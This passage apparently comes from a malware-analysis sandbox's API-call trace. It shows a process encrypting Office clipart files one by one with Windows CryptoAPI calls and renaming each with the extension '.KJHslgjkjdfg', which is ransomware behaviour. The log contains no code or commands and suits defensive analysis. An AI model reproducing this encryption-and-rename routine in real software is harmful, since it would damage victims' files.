lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.908] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.908] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.908] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d40, lpOverlapped=0x0) returned 1 [0198.911] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d40) returned 1 [0198.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.911] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d40, lpOverlapped=0x0) returned 1 [0198.911] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.911] SetEndOfFile (hFile=0x130) returned 1 [0198.914] GetProcessHeap () returned 0x2ef0000 [0198.914] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.914] GetProcessHeap () returned 0x2ef0000 [0198.914] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.kjhslgjkjdfg")) returned 1 [0198.915] CloseHandle (hObject=0x130) returned 1 [0198.916] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0198.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.917] GetProcessHeap () returned 0x2ef0000 [0198.918] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.918] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.918] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0199.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.023] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.023] GetProcessHeap () returned 0x2ef0000 [0199.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.024] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.024] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.024] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.024] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.024] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.024] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.024] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x42a4, lpOverlapped=0x0) returned 1 [0199.026] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x42b0, dwBufLen=0x42b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x42b0) returned 1 [0199.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.026] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x42b0, lpOverlapped=0x0) returned 1 [0199.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.026] SetEndOfFile (hFile=0x130) returned 1 [0199.029] GetProcessHeap () returned 0x2ef0000 [0199.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.029] GetProcessHeap () returned 0x2ef0000 [0199.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.kjhslgjkjdfg")) returned 1 [0199.030] CloseHandle (hObject=0x130) returned 1 [0199.030] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0199.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.032] GetProcessHeap () returned 0x2ef0000 [0199.032] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.032] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.032] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.035] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.035] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.035] GetProcessHeap () returned 0x2ef0000 [0199.035] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.036] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.036] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x229c, lpOverlapped=0x0) returned 1 [0199.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22a0) returned 1 [0199.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.038] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x22a0, lpOverlapped=0x0) returned 1 [0199.038] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.038] SetEndOfFile (hFile=0x130) returned 1 [0199.041] GetProcessHeap () returned 0x2ef0000 [0199.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.041] GetProcessHeap () returned 0x2ef0000 [0199.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.kjhslgjkjdfg")) returned 1 [0199.042] CloseHandle (hObject=0x130) returned 1 [0199.042] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0199.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.044] GetProcessHeap () returned 0x2ef0000 [0199.044] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.044] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.044] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.046] GetProcessHeap () returned 0x2ef0000 [0199.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.046] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.047] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.047] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.047] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x305c, lpOverlapped=0x0) returned 1 [0199.048] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3060, dwBufLen=0x3060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3060) returned 1 [0199.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.049] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3060, lpOverlapped=0x0) returned 1 [0199.049] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.049] SetEndOfFile (hFile=0x130) returned 1 [0199.052] GetProcessHeap () returned 0x2ef0000 [0199.052] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.052] GetProcessHeap () returned 0x2ef0000 [0199.052] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.kjhslgjkjdfg")) returned 1 [0199.053] CloseHandle (hObject=0x130) returned 1 [0199.053] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0199.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.054] GetProcessHeap () returned 0x2ef0000 [0199.054] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.054] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0199.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.057] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.057] GetProcessHeap () returned 0x2ef0000 [0199.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.057] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.057] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.057] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.058] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.058] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.058] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.058] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 